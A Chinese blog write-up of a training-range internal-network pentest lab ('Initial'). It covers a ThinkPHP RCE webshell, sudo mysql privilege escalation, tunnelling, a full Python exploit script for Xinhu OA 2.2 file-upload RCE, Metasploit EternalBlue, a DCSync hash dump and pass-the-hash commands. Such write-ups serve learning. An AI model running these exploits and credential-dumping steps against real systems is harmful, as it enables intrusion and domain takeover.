打卡了16天,白嫖了3.5个沙砾,准备体验第一次打内网渗透,先从最简单也就是攻克人数最多的徽章Initial做起,希望3.5个小时够用,实在不想花钱买了
春秋云境-Initial 信息收集 扫一下给的ip的端口
1 sudo nmap --min-rate 10000 -p- 39.99.149.224
看样子突破口就是80端口了
直接访问看一下是什么服务
看图标可以知道是thinkphp,这是一个管理系统登录界面,Web服务器是apache,操作系统是ubuntu
扫描一下目录
1 dirsearch -u "http://39.99.149.224/"
1 2 3 4 [19:10:31] 200 - 1 KB - /favicon.ico [19:10:35] 200 - 5 KB - /index.php [19:10:51] 200 - 24 B - /robots.txt [19:10:56] 301 - 315 B - /static -> http:
少得可怜的目录,先试试,后面不行再深度挖掘
外网打点-Thinkphp漏洞 就目前收集到的信息而已,可以利用的基本上就是Thinkphp漏洞,或者弱口令进后台再尝试GetShell
拿工具直接跑一下有没有Thinkphp漏洞
能看到还是有漏洞的,看来这个思路是正确的
下面就是选择好poc来实现命令执行,去getshell
有工具就是爽啊,事半工倍
蚁剑直接连上,虚拟终端反弹shell
呃呃,忘记kali是在本地了,反弹个屁
就用虚拟终端了,交互式也不错
提权 先看一下这台机子的权限
看一下内核
1 2 uname -aLinux ubuntu-web01 5 .4 .0 -110 -generic #124 -Ubuntu SMP Thu Apr 14 19 :46 :19 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
searchsploit看看有没有漏洞
1 2 searchsploit ubuntu-web01 5 .4 searchsploit 5 .4
没找到内核提权的漏洞
sudo -l
看看
1 2 3 4 Matching Defaults entries for www-data on ubuntu-web01: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin \:/usr/sbin \:/usr/bin \:/sbin \:/bin \:/snap/bin User www-data may run the following commands on ubuntu-web01: (root) NOPASSWD: /usr/bin/mysql
mysql | GTFOBins
有个mysql可以免密使用,用mysql命令提权(又学到了)
1 sudo mysql -e '\! ls /root '
已经成功拿下了,接下来就是搭代理
搭建代理+信息收集 采用neo-reGeorg+proxifier
1 python neoreg.py generate -k 114514
再将neoreg_servers/tunnel.php传上去
连接代理
1 python neoreg.py -k 114514 -u http://39.99.149.224 /tunnel.php
可以看到已经成功使用本地端口1080创建了隧道并建立连接
配好proxifier,fscan开扫!!!
哎又遇上报错了,好烦,干脆把fascan传上去执行吧,这个代理只是方便我们在本地访问它的服务(后面代理也出问题了,真的是干了)
1 ./fscan_amd64 -h 172.22.1.0/ 24 >> 1 .txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 cat 1 .txt start infoscan trying RunIcmp2 The current user permissions unable to send icmp packets start ping (icmp) Target 172 .22 .1 .15 is alive (icmp) Target 172 .22 .1 .2 is alive (icmp) Target 172 .22 .1 .21 is alive (icmp) Target 172 .22 .1 .18 is alive[*] Icmp alive hosts len is: 4 172.22.1.2:88 open172.22.1.18:445 open172.22.1.21:445 open172.22.1.2:445 open172.22.1.18:139 open172.22.1.21:139 open172.22.1.2:139 open172.22.1.18:135 open172.22.1.21:135 open172.22.1.2:135 open172.22.1.18:80 open172.22.1.15:80 open172.22.1.15:22 open172.22.1.18:3306 open[*] alive ports len is: 14 start vulscan[*] NetInfo:[*] 172 .22 .1 .2 [->] DC01 [->] 172 .22 .1 .2 [+] 172 .22 .1 .21 MS17-010 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1 )[*] 172 .22 .1 .2 (Windows Server 2016 Datacenter 14393 )[*] WebTitle: http://172 .22 .1 .15 code:200 len:5578 title:Bootstrap Material Admin[*] NetBios: 172 .22 .1 .21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1 [*] NetBios: 172 .22 .1 .2 [+] DC DC01.xiaorang.lab Windows Server 2016 Datacenter 14393 [*] NetBios: 172 .22 .1 .18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600 [*] NetInfo:[*] 172 .22 .1 .18 [->] XIAORANG-OA01 [->] 172 .22 .1 .18 [*] NetInfo:[*] 172 .22 .1 .21 [->] XIAORANG-WIN7 [->] 172 .22 .1 .21 [*] WebTitle: http://172 .22 .1 .18 code:302 len:0 title:None 跳转url: http://172 .22 .1 .18 ?m=login[*] WebTitle: http://172 .22 .1 .18 ?m=login code:200 len:4012 title:信呼协同办公系统[+] http://172 .22 .1 .15 poc-yaml-thinkphp5023-method-rce poc1 已完成 14 /14 [*] 扫描结束,耗时: 13 .405736629s
从中可以知道我们的目标(这里还有个信呼OA没显示出来): 172.22.1.2:DC域控 172.22.1.21:Windows的机器并且存在MS17-010 漏洞 172.22.1.18:信呼OA办公系统
代理老是有问题,哎,太容易断了proxifier有点迷
网上找了个插件用,proxifier以后再研究明白
信呼OA渗透 先打信呼OA办公系统
终于代理出来了
弱口令登录
有个RCE的漏洞 需要要准备一个shell.php放在脚本相同的目录下,内容为一句话木马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import requests session = requests.session () url_pre = 'http://172.22.1.18/' url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953' url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913' url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11' data1 = { 'rempass' : '0' , 'jmpass' : 'false' , 'device' : '1625884034525' , 'ltype' : '0' , 'adminuser' : 'YWRtaW4=::' , 'adminpass' : 'YWRtaW4xMjM=' , 'yanzm' : '' } r = session.post (url1, data=data1) r = session.post (url2, files={'file' : open ('1.php' , 'r+' )}) filepath = str (r.json ()['filepath' ] ) filepath = "/" + filepath.split ('.uptemp' )[0] + '.php' id = r.json ()['id' ] url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}' r = session.get (url3) r = session.get (url_pre + filepath)print (r.text) print (url_pre + filepath) ```python import requests session = requests.session () url_pre = 'http://172.22.1.18/' url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953' url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913' url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11' data1 = { 'rempass' : '0' , 'jmpass' : 'false' , 'device' : '1625884034525' , 'ltype' : '0' , 'adminuser' : 'YWRtaW4=::' , 'adminpass' : 'YWRtaW4xMjM=' , 'yanzm' : '' } r = session.post (url1, data=data1) r = session.post (url2, files={'file' : open ('1.php' , 'r+' )}) filepath = str (r.json ()['filepath' ] ) filepath = "/" + filepath.split ('.uptemp' )[0] + '.php' id = r.json ()['id' ] url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}' r = session.get (url3) r = session.get (url_pre + filepath)print (r.text) print (url_pre + filepath)
由于没用proxifier搞全局代理,还需要kali上也建立一下socks5访问,方便脚本直接攻击内网服务器
1 vim /etc/ proxychains4.conf
1 proxychains4 python3 3. py
哎,止步于此。下次再战,流量转发配了半天,先遗憾离场一段时间
时隔一周,回归了
成功写马
蚁剑设置代理
成功连接,翻到flag2
永恒之蓝渗透 直接拿msf打
1 2 3 4 5 proxychains4 msfconsole use exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/meterpreter/bind_tcp_uuidset RHOSTS 172.22.1.21 exploit
这里需要等待一些时间
可以看到拿到了个正向shell
getuid
查看当前用户
发现为NT AUTHORITY\SYSTEM
DCSync
DCSync是mimikatz在2015年添加的一个功能,利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口模仿一个域控制器向另一个域控制器发起数据同步请求,能够用来导出域内所有用户的hash。
利用条件 获得以下任一用户的权限:
Domain Admins组内的用户
Administrators组内的用户
Enterprise Admins组内的用户
域控制器的计算机帐户
默认只有域控主机账号和域管理员能进行Dcsync,其机器账号拥有WriteACL的权限,可以给指定用户添加Dcsync来dump域哈希。
然后使用kiwi(原mimikatz)进行导出hash
1 2 load kiwi kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
1 500 Administrator 10 cf89a850fb1cdbe6bb432b859164c8 512
哈希传递 利用impacket进行pth
1 2 3 proxychains4 python smbexec.py -hashes :10 cf89a850fb1cdbe6bb432b859164c8 xiaorang.lab/Administrator@172.22.1.2
或者用crackmapexec
1 proxychains4 crackmapexec smb 172.22 .1.2 -u administrator -H10 cf89 a850 fb1 cdbe6 bb432 b859164 c 8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
拿到会话
1 type C :\Users\Administrator\flag\flag03.txt
读取到flag
最终flag
1 flag{60b53231 -2ce3-4813 -87d4-e8f88d0d43d6}
知识点总结 信呼协同办公系统v2.2
要求版本为v2.2
且已知登录后台的账号密码
现成的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import requests session = requests.session() url_pre = 'http://172.22.1.18/' url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953' url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913' url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11' data1 = { 'rempass' : '0' , 'jmpass' : 'false' , 'device' : '1625884034525' , 'ltype' : '0' , 'adminuser' : 'YWRtaW4=::' , 'adminpass' : 'YWRtaW4xMjM=' , 'yanzm' : '' } r = session.post(url1, data=data1) r = session.post(url2, files={'file' : open ('1.php' , 'r+' )}) filepath = str (r.json()['filepath' ]) filepath = "/" + filepath.split('.uptemp' )[0 ] + '.php' id = r.json()['id' ] url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id } ' r = session.get(url3) r = session.get(url_pre + filepath)print (r.text)print (url_pre + filepath) ```pythonimport requests session = requests.session() url_pre = 'http://172.22.1.18/' url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953' url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913' url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11' data1 = { 'rempass' : '0' , 'jmpass' : 'false' , 'device' : '1625884034525' , 'ltype' : '0' , 'adminuser' : 'YWRtaW4=::' , 'adminpass' : 'YWRtaW4xMjM=' , 'yanzm' : '' } r = session.post(url1, data=data1) r = session.post(url2, files={'file' : open ('1.php' , 'r+' )}) filepath = str (r.json()['filepath' ]) filepath = "/" + filepath.split('.uptemp' )[0 ] + '.php' id = r.json()['id' ] url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id } ' r = session.get(url3) r = session.get(url_pre + filepath)print (r.text)print (url_pre + filepath)
shell.php放在脚本相同的目录下,内容为一句话木马
漏洞详细分析:信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_信呼协同办公系统弱口令-CSDN博客
永恒之蓝 看到MS17-010
(Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
就应该想到永恒之蓝的
一般通过msf打永恒之蓝
查看对应的模块
如果受害机不出网,就只能用正向shell
1 set payload windows/x64/meterpreter/bind_tcp
哈希传递 就是通过传递Windwos 本地账户或者域用户的hash值,达到控制其他服务器的目的
适用场景:获取到了域管理员组内用户的密码哈希值 ,并且该主机的445端口开放
原理 hash 传递的原理是在认证过程中,并不是直接使用用户的密码进行认证的,而是使用用户的hash值,因此,攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不需要提供明文密码。在Windows系统中,通常会使用NTLM身份认证,NTLM是口令加密后的hash值。PTH(哈希传递)是基于smb服务(139端口和445 端口)。